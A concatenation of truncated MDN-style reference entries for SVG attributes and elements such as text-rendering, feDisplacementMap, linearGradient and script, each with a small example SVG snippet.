text-decoration - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 250 50" xmlns="http://www.w3.org/2000/svg"> <text y="20" text-decoration="underline">underlined text</text> <text x="0" y="40" text-decoration="line-through">struck-through text</text> </svg> usage notes value <'text-decoration-line'> || <'text-decoration-style'> || <'text-decoration-color'> default value see individual properties animatable yes for a descr...
text-rendering - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following element: <text> html, body, svg { height: 100%; } <svg viewbox="0 0 140 40" xmlns="http://www.w3.org/2000/svg"> <text y="15" text-rendering="geometricprecision">geometric precision</text> <text y="35" text-rendering="optimizelegibility">optimized legibility</text> </svg> usage notes value auto | optimizespeed | optimizelegibility | geometricprecision default value auto animatable yes auto this value indicates that the us...
to - SVG: Scalable Vector Graphics
WebSVGAttributeto
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="100" height="100"> <animate attributetype="xml" attributename="width" fill="freeze" from="100" to="150" dur="3s"/> </rect> </svg> animate, animatecolor, animatemotion, animatetransform for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>, to specifies the ending value of the animation.
version - SVG: Scalable Vector Graphics
WebSVGAttributeversion
<svg version="1.1" viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="80" height="80"/> </svg> usage notes value <number> default value none animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'version' in that specification.
viewTarget - SVG: Scalable Vector Graphics
only one element is using this attribute: <view> usage notes value <xml-name> default value none animatable no <xml-name> this value specifies the name of the object associated with the view.
width - SVG: Scalable Vector Graphics
WebSVGAttributewidth
ecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <image>, <mask>, <pattern>, <rect>, <svg>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <!-- with a width of 0 or less, nothing will be rendered --> <rect x="0" y="0" width="0" height="90"/> <rect x="0" y="100" width="60" height="90"/> <rect x="0" y="200" width="100%" height="90"/> </svg> feblend for <feblend>, width defines the horizontal length for the rendering area of the primitive.
word-spacing - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 250 50" xmlns="http://www.w3.org/2000/svg"> <text y="20" word-spacing="2">bigger spacing between words</text> <text x="0" y="40" word-spacing="-0.5">smaller spacing between words</text> </svg> usage notes value normal | <length> animatable yes default values normal for a description of the values, please refer to the css letter-spacing property.
xChannelSelector - SVG: Scalable Vector Graphics
only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 440 160" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" xchannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" ...
xlink:href - SVG: Scalable Vector Graphics
22 elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, and <use>} html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a xlink:href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> a for <a>, xlink:href defines the location of the referenced object.
yChannelSelector - SVG: Scalable Vector Graphics
only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 440 160" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" ychannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" ...
z - SVG: Scalable Vector Graphics
WebSVGAttributez
two elements are using this attribute: <fepointlight> and <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fepointlight x="60" y="60" z="10" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fepointlight x="60" y="60" z="50" /> </fediff...
zoomAndPan - SVG: Scalable Vector Graphics
two elements are using this attribute: <svg> and <view> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" zoomandpan="disable"> <filter id="diffuselighting" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" zoomandpan="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting);" /> </svg> usage notes value disabl...
SVG Attribute reference - SVG: Scalable Vector Graphics
WebSVGAttribute
e unicode-bidi unicode-range units-per-em v v-alphabetic v-hanging v-ideographic v-mathematical values vector-effect version vert-adv-y vert-origin-x vert-origin-y viewbox viewtarget visibility w width widths word-spacing writing-mode x x x-height x1 x2 xchannelselector xlink:actuate xlink:arcrole xlink:href xlink:role xlink:show xlink:title xlink:type xml:base xml:lang xml:space y y y1 y2 ychannelselector z z zoomandpan svg attributes by category generic attributes core attributes id, lang, tabindex, xml:base, xml:lang, xml:space style attributes class, style conditional processing attributes externalresourcesrequired, requiredextensions, requiredfeatures, systemlanguage.
Compatibility sources - SVG: Scalable Vector Graphics
the following sources are used for the compatibility tables on svg elements and attributes: https://developer.mozilla.org/en/svg_in_firefox together with its revision history for firefox http://www.webkit.org/projects/svg/status.xml together with its recorded archive for webkit, safari and chrome http://www.opera.com/docs/specs/opera9/svg/ and accompanying pages for opera >= 9, http://www.opera.com/docs/specs/opera8/ for opera 8 http://blogs.msdn.com/b/ie/archive/2010/03/18/svg-in-ie9-roadmap.aspx for hints on ie9 support status the svg support charts at codedread.com for basic checks against the w3c test suite wikipedia for basic hints, not normative ...
<a> - SVG: Scalable Vector Graphics
WebSVGElementa
@namespace svg url(http://www.w3.org/2000/svg); html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- a link around a shape --> <a href="/docs/web/svg/element/circle"> <circle cx="50" cy="40" r="35"/> </a> <!-- a link around a text --> <a href="/docs/web/svg/element/text"> <text x="50" y="90" text-anchor="middle"> &lt;circle&gt; </text> </a> </svg> /* as svg does not provide a default visual style for links, it's considered b...
<animate> - SVG: Scalable Vector Graphics
WebSVGElementanimate
html,body,svg { height:100%; margin:0; padding:0; } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <rect width="10" height="10"> <animate attributename="rx" values="0;5;0" dur="10s" repeatcount="indefinite" /> </rect> </svg> attributes animation attributes animation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill animation value attributes calcmode, values, keytimes, keysplines, from, to, by other animation attributes most notably: attributename, additive, accumulate animation event attributes most notably: onbegin, onend, onrepeat global attributes core attributes most notably: id styling attributes class, style event...
<animateColor> - SVG: Scalable Vector Graphics
example svg <svg width="120" height="120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="60" r="50"> <animatecolor attributename="fill" attributetype="xml" from="black" to="red" dur="6s" repeatcount="indefinite"/> </circle> </svg> result specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<animatecolor>' in that specificat...
<animateMotion> - SVG: Scalable Vector Graphics
html,body,svg { height:100%; margin: 0; padding: 0; display:block; } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="lightgrey" d="m20,50 c20,-50 180,150 180,50 c180-50 20,150 20,50 z" /> <circle r="5" fill="red"> <animatemotion dur="10s" repeatcount="indefinite" path="m20,50 c20,-50 180,150 180,50 c180-50 20,150 20,50 z" /> </circle> </svg> usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements<mpath> attributes ...
<animateTransform> - SVG: Scalable Vector Graphics
usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <polygon points="60,30 90,90 30,90"> <animatetransform attributename="transform" attributetype="xml" type="rotate" from="0 60 70" to="360 60 70" dur="10s" repeatcount="indefinite"/> </polygon> </svg> live sample att...
<circle> - SVG: Scalable Vector Graphics
WebSVGElementcircle
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <circle cx="50" cy="50" r="50"/> </svg> attributes cx the x-axis coordinate of the center of the circle.
<defs> - SVG: Scalable Vector Graphics
WebSVGElementdefs
html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- some graphical objects to use --> <defs> <circle id="mycircle" cx="0" cy="0" r="5" /> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="20%" stop-color="gold" /> <stop offset="90%" stop-color="red" /> </lineargradient> </defs> <!-- using my graphical ...
<desc> - SVG: Scalable Vector Graphics
WebSVGElementdesc
html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <circle cx="5" cy="5" r="4"> <desc> i'm a circle and that description is here to demonstrate how i can be described, but is it really necessary to describe a simple circle like me?
<ellipse> - SVG: Scalable Vector Graphics
WebSVGElementellipse
html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="100" cy="50" rx="100" ry="50" /> </svg> attributes cx the x position of the ellipse.
<feBlend> - SVG: Scalable Vector Graphics
WebSVGElementfeBlend
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="spotlight"> <feflood result="floodfill" x="0" y="0" width="100%" height="100%" flood-color="green" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="multiply"/> </filter> </defs> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_on...
<feColorMatrix> - SVG: Scalable Vector Graphics
example svg <svg width="100%" height="100%" viewbox="0 0 150 500" preserveaspectratio="xmidymid meet" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- ref --> <defs> <g id="circles"> <circle cx="30" cy="30" r="20" fill="blue" fill-opacity="0.5" /> <circle cx="20" cy="50" r="20" fill="green" fill-opacity="0.5" /> <circle cx="40" cy="50" r="20" fill="red" fill-opacity="0.5" /> </g> </defs> <use href="#circles" /> <text x="70" y...
<feComponentTransfer> - SVG: Scalable Vector Graphics
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 600 300"> <defs> <lineargradient id="rainbow" gradientunits="userspaceonuse" x1="0" y1="0" x2="100%" y2="0"> <stop offset="0" stop-color="#ff0000"></stop> <stop offset="0.2" stop-color="#ffff00"></stop> <stop offset="0.4" stop-color="#00ff00"></stop> <stop offset="0.6" stop-color="#00ffff"></stop> <stop offset="0.8" s...
<feComposite> - SVG: Scalable Vector Graphics
example svg <svg width="330" height="195" viewbox="0 0 1100 650" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>example fecomposite - examples of fecomposite operations</title> <desc>four rows of six pairs of overlapping triangles depicting the six different fecomposite operators under different opacity values and different clearing of the background.</desc> <defs> <desc>define two sets of six filters...
<feConvolveMatrix> - SVG: Scalable Vector Graphics
example svg <svg width="200" height="200" viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="emboss"> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -3"/> </filter> </defs> <image xlink:href="/files/12668/mdn.svg" x="0" y="0" height="200" width="200" style="filter:url(#emboss);" /> </svg> result specifi...
<feDiffuseLighting> - SVG: Scalable Vector Graphics
<svg width="440" height="140" xmlns="http://www.w3.org/2000/svg"> <!-- no light is applied --> <text text-anchor="middle" x="60" y="22">no light</text> <circle cx="60" cy="80" r="50" fill="green" /> <!-- the light source is a fepointlight element --> <text text-anchor="middle" x="170" y="22">fepointlight</text> <filter id="lightme1"> <fediffuselighting in="sourcegraphic" result="light" lighting-color="wh...
<feDisplacementMap> - SVG: Scalable Vector Graphics
example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> ...
<feDropShadow> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <defs> <filter id="shadow"> <fedropshadow dx="0.2" dy="0.4" stddeviation="0.2"/> </filter> <filter id="shadow2"> <fedropshadow dx="0" dy="0" stddeviation="0.5" flood-color="cyan"/> </filter> <filter id="shadow3"> <fedropshadow dx="-0.8" dy="-0.8" stddeviation="0" flood-color="pink" flood-opacity="0.5"/> </filter> </defs> <circle cx="5" cy="50%" r="4" style="fill:pink; filter:url(#s...
<feFlood> - SVG: Scalable Vector Graphics
WebSVGElementfeFlood
example html content <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <defs> <filter id="floodfilter" filterunits="userspaceonuse"> <feflood x="50" y="50" width="100" height="100" flood-color="green" flood-opacity="0.5"/> </filter> </defs> <use style="filter: url(#floodfilter);"/> </svg> result specifications specification status comment filter e...
<feImage> - SVG: Scalable Vector Graphics
WebSVGElementfeImage
example svg <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="image"> <feimage xlink:href="/files/6457/mdn_logo_only_color.png"/> </filter> </defs> <rect x="10%" y="10%" width="80%" height="80%" style="filter:url(#image);"/> </svg> result specifications specification status comment filter effects modul...
<feMerge> - SVG: Scalable Vector Graphics
WebSVGElementfeMerge
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<femergenode> example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <filter id="feoffset" x="-40" y="-20" width="100" height="200"> <feoffset in="sourcegraphic" dx="60" dy="60" /> <fegaussianblur stddeviation="5" result="blur2" /> <femerge> <femergenode in="blur2" /> <femergenode in="sourcegraphic" /> </femerge> </filter> <rect x="40" y="40" width="100" height="100" style="stroke: #000000; fi...
<feMergeNode> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted contentany number of the following elements, in any order:<animate>, <set> example <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <filter id="feoffset" x="-40" y="-20" width="100" height="200"> <feoffset in="sourcegraphic" dx="60" dy="60" /> <fegaussianblur in="sourcegraphic" stddeviation="5" result="blur2" /> <femerge> <femergenode in="blur2" /> <femergenode in="sourcegraphic" /> </femerge> </filter> <rect x="40" y="40" width="100" height="100" style="stroke: #000000; fill: green; filter: url(#feoffset);" /> ...
<feOffset> - SVG: Scalable Vector Graphics
WebSVGElementfeOffset
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <filter id="offset" width="180" height="180"> <feoffset in="sourcegraphic" dx="60" dy="60" /> </filter> </defs> <rect x="0" y="0" width="100" height="100" stroke="black" fill="green"/> <rect x="0" y="0" width="100" height="100" stroke="black" fill="green" filter="url(#offset)"/> </svg> result specifications specification ...
<fePointLight> - SVG: Scalable Vector Graphics
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="spotlight"> <fespecularlighting result="spotlight" specularconstant="1.5" specularexponent="80" lighting-color="#fff"> <fepointlight x="50" y="50" z="220"/> </fespecularlighting> <fecomposite in="sourcegraphic" in2="spotlight" operator="arithmetic" ...
<feSpecularLighting> - SVG: Scalable Vector Graphics
example <svg height="200" width="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id = "filter"> <fespecularlighting result="specout" specularexponent="20" lighting-color="#bbbbbb"> <fepointlight x="50" y="75" z="200"/> </fespecularlighting> <fecomposite in="sourcegraphic" in2="specout" operator="arithmetic" k1="0" k2="1" k3="1" k4="0"/> </filter> <circle cx="110" cy="110" r="100" style="filter:url...
<feSpotLight> - SVG: Scalable Vector Graphics
example html content <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="spotlight"> <fespecularlighting result="spotlight" specularconstant="1.5" specularexponent="4" lighting-color="#fff"> <fespotlight x="600" y="600" z="400" limitingconeangle="5.5" /> </fespecularlighting> <fecomposite in="sourcegraphic" in2="spotlight" operato...
<feTile> - SVG: Scalable Vector Graphics
WebSVGElementfeTile
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="tile" x="0" y="0" width="100%" height="100%"> <fetile in="sourcegraphic" x="50" y="50" width="100" height="100" /> <fetile/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filte...
<feTurbulence> - SVG: Scalable Vector Graphics
example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> ...
<filter> - SVG: Scalable Vector Graphics
WebSVGElementfilter
example svg <svg width="230" height="120" xmlns="http://www.w3.org/2000/svg"> <filter id="blurme"> <fegaussianblur stddeviation="5"/> </filter> <circle cx="60" cy="60" r="50" fill="green" /> <circle cx="170" cy="60" r="50" fill="green" filter="url(#blurme)" /> </svg> result screenshotlive sample specifications specification status comment filter effects module level 1the definition of '<filt...
<g> - SVG: Scalable Vector Graphics
WebSVGElementg
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- using g to inherit presentation attributes --> <g fill="white" stroke="green" stroke-width="5"> <circle cx="40" cy="40" r="25" /> <circle cx="60" cy="60" r="25" /> </g> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensi...
<glyph> - SVG: Scalable Vector Graphics
WebSVGElementglyph
example svg <svg width="400px" height="300px" version="1.1" xmlns="http://www.w3.org/2000/svg"> <!-- example copied from https://www.w3.org/tr/svg/fonts.html#glyphelement --> <defs> <font id="font1" horiz-adv-x="1000"> <font-face font-family="super sans" font-weight="bold" font-style="normal" units-per-em="1000" cap-height="600" x-height="400" ascent="700" descent="300" alphabetic="0" mathematical="350" ideographic="...
<hatch> - SVG: Scalable Vector Graphics
WebSVGElementhatch
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <hatch id="hatch" hatchunits="userspaceonuse" pitch="5" rotate="135"> <hatchpath stroke="#a080ff" stroke-width="2"/> </hatch> </defs> <rect fill="url(#hatch)" stroke="black" stroke-width="2" x="10%" y="10%" width="80%" height="80%" /> </svg> result ...
<hatchpath> - SVG: Scalable Vector Graphics
WebSVGElementhatchpath
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <hatch id="hatch" hatchunits="userspaceonuse" pitch="5" rotate="135"> <hatchpath stroke="#a080ff" stroke-width="2"/> </hatch> </defs> <rect fill="url(#hatch)" stroke="black" stroke-width="2" x="10%" y="10%" width="80%" height="80%" /> </svg> result ...
<image> - SVG: Scalable Vector Graphics
WebSVGElementimage
example basic rendering of a png image in svg: svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image href="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" height="200" width="200"/> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of '<image>' in that specification.
<line> - SVG: Scalable Vector Graphics
WebSVGElementline
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <line x1="0" y1="80" x2="100" y2="20" stroke="black" /> <!-- if you do not specify the stroke color the line will not be visible --> </svg> attributes x1 defines the x-axis coordinate of the line starting point.
<linearGradient> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="5%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </lineargradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes gradientunits this attribute defines the coordinate system fo...
<marker> - SVG: Scalable Vector Graphics
WebSVGElementmarker
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <defs> <!-- arrowhead marker definition --> <marker id="arrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="auto-start-reverse"> <path d="m 0 0 l 10 5 l 0 10 z" /> </marker> <!-- simple dot marker definition --> <marker id="dot" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="5" markerheight="5"> <circle cx="5" cy="5" r="5" fill="red" /> </marker> ...
<mpath> - SVG: Scalable Vector Graphics
WebSVGElementmpath
example svg <svg width="100%" height="100%" viewbox="0 0 500 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" > <rect x="1" y="1" width="498" height="298" fill="none" stroke="blue" stroke-width="2" /> <!-- draw the outline of the motion path in blue, along with three small circles at the start, middle and end.
<path> - SVG: Scalable Vector Graphics
WebSVGElementpath
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z"/> </svg> attributes d this attribute defines the shape of the path.
<pattern> - SVG: Scalable Vector Graphics
WebSVGElementpattern
html,body,svg { height:100% } <svg viewbox="0 0 230 100" xmlns="http://www.w3.org/2000/svg"> <defs> <pattern id="star" viewbox="0,0,10,10" width="10%" height="10%"> <polygon points="0,0 2,5 0,10 5,8 10,10 8,5 10,0 5,2"/> </pattern> </defs> <circle cx="50" cy="50" r="50" fill="url(#star)"/> <circle cx="180" cy="50" r="40" fill="none" stroke-width="20" stroke="url(#star)"/> </svg> attributes height this attribute determines the height of the pattern tile.
<polygon> - SVG: Scalable Vector Graphics
WebSVGElementpolygon
html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- example of a polygon with the default fill --> <polygon points="0,100 50,25 50,75 100,0" /> <!-- example of the same polygon shape with stroke and no fill --> <polygon points="100,100 150,25 150,75 200,0" fill="none" stroke="black" /> </svg> attributes points this attribute defines the list of points (pairs of x,y absolute coordinates) required to draw the polygon.
<polyline> - SVG: Scalable Vector Graphics
WebSVGElementpolyline
html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- example of a polyline with the default fill --> <polyline points="0,100 50,25 50,75 100,0" /> <!-- example of the same polyline shape with stroke and no fill --> <polyline points="100,100 150,25 150,75 200,0" fill="none" stroke="black" /> </svg> attributes points this attribute defines the list of points (pairs of x,y absolute coordinates) required to draw the polyline value type: <number>+ ; defaul...
<radialGradient> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <radialgradient id="mygradient"> <stop offset="10%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </radialgradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes cx this attribute defines the x coordinate of the end circle of the radial gradient.
<rect> - SVG: Scalable Vector Graphics
WebSVGElementrect
html,body,svg { height:100% } <svg viewbox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"> <!-- simple rectangle --> <rect width="100" height="100" /> <!-- rounded corner rectangle --> <rect x="120" width="100" height="100" rx="15" /> </svg> attributes x the x coordinate of the rect.
<script> - SVG: Scalable Vector Graphics
WebSVGElementscript
while svg's script element is equivalent to the html <script> element, it has some discrepancies, like it uses the href attribute instead of src and it doesn't support ecmascript modules so far (see browser compatibility below for details) html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <script> // <![cdata[ window.addeventlistener('domcontentloaded', () => { function getcolor () { const r = math.round(math.random() * 255).tostring(16).padstart(2,'0') const g = math.round(math.random() * 255).tostring(16).padstart(2,'0') const b = math.round(math.random() * 255).tostring(16).padstart(2,'0') return `#${r}${g}${b}` } document.querys...
<set> - SVG: Scalable Vector Graphics
WebSVGElementset
html,body,svg { height:100%; margin:0; padding:0; } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <style> rect { cursor: pointer } .round { rx: 5px; fill: green; } </style> <rect id="me" width="10" height="10"> <set attributename="class" to="round" begin="me.click" dur="2s" /> </rect> </svg> attributes to this attribute defines the value to be applied to the target attribute for the duration of the animation.
<solidcolor> - SVG: Scalable Vector Graphics
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 300 200" height="150"> <defs> <!-- solidcolor is experimental.
<stop> - SVG: Scalable Vector Graphics
WebSVGElementstop
html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="5%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </lineargradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes offset this attribute defines where the gradient stop is placed along the gradient vector.
<style> - SVG: Scalable Vector Graphics
WebSVGElementstyle
html,body,svg { height:100%; margin: 0; padding: 0; } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <style> circle { fill: gold; stroke: maroon; stroke-width: 2px; } </style> <circle cx="5" cy="5" r="4" /> </svg> attributes type this attribute defines type of the style sheet language to use as a media type string.
<symbol> - SVG: Scalable Vector Graphics
WebSVGElementsymbol
html,body,svg { height:100% } <svg viewbox="0 0 80 20" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- our symbol in its own coordinate system --> <symbol id="mydot" width="10" height="10" viewbox="0 0 2 2"> <circle cx="1" cy="1" r="1" /> </symbol> <!-- a grid to materialize our symbol positioning --> <path d="m0,10 h80 m10,0 v20 m25,0 v20 m40,0 v20 m55,0 v20 m70,0 v20" fill="none" stroke="pink" /...
<text> - SVG: Scalable Vector Graphics
WebSVGElementtext
html,body,svg { height:100% } <svg viewbox="0 0 240 80" xmlns="http://www.w3.org/2000/svg"> <style> .small { font: italic 13px sans-serif; } .heavy { font: bold 30px sans-serif; } /* note that the color of the text is set with the * * fill property, the color property is for html only */ .rrrrr { font: italic 40px serif; fill: red; } </style> <text x="20" y="35" class="small">my</text> <text x="40" y="35" class="heavy">ca...
<textPath> - SVG: Scalable Vector Graphics
WebSVGElementtextPath
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- to hide the path, it is usually wrapped in a <defs> element --> <!-- <defs> --> <path id="mypath" fill="none" stroke="red" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <!-- </defs> --> <text> <textpath href="#mypath"> quick brown fox jumps over the lazy dog.
<title> — the SVG accessible name element - SVG: Scalable Vector Graphics
WebSVGElementtitle
html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <circle cx="5" cy="5" r="4"> <title>i'm a circle</title> </circle> <rect x="11" y="1" width="8" height="8"> <title>i'm a square</title> </rect> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, docu...
<tref> - SVG: Scalable Vector Graphics
WebSVGElementtref
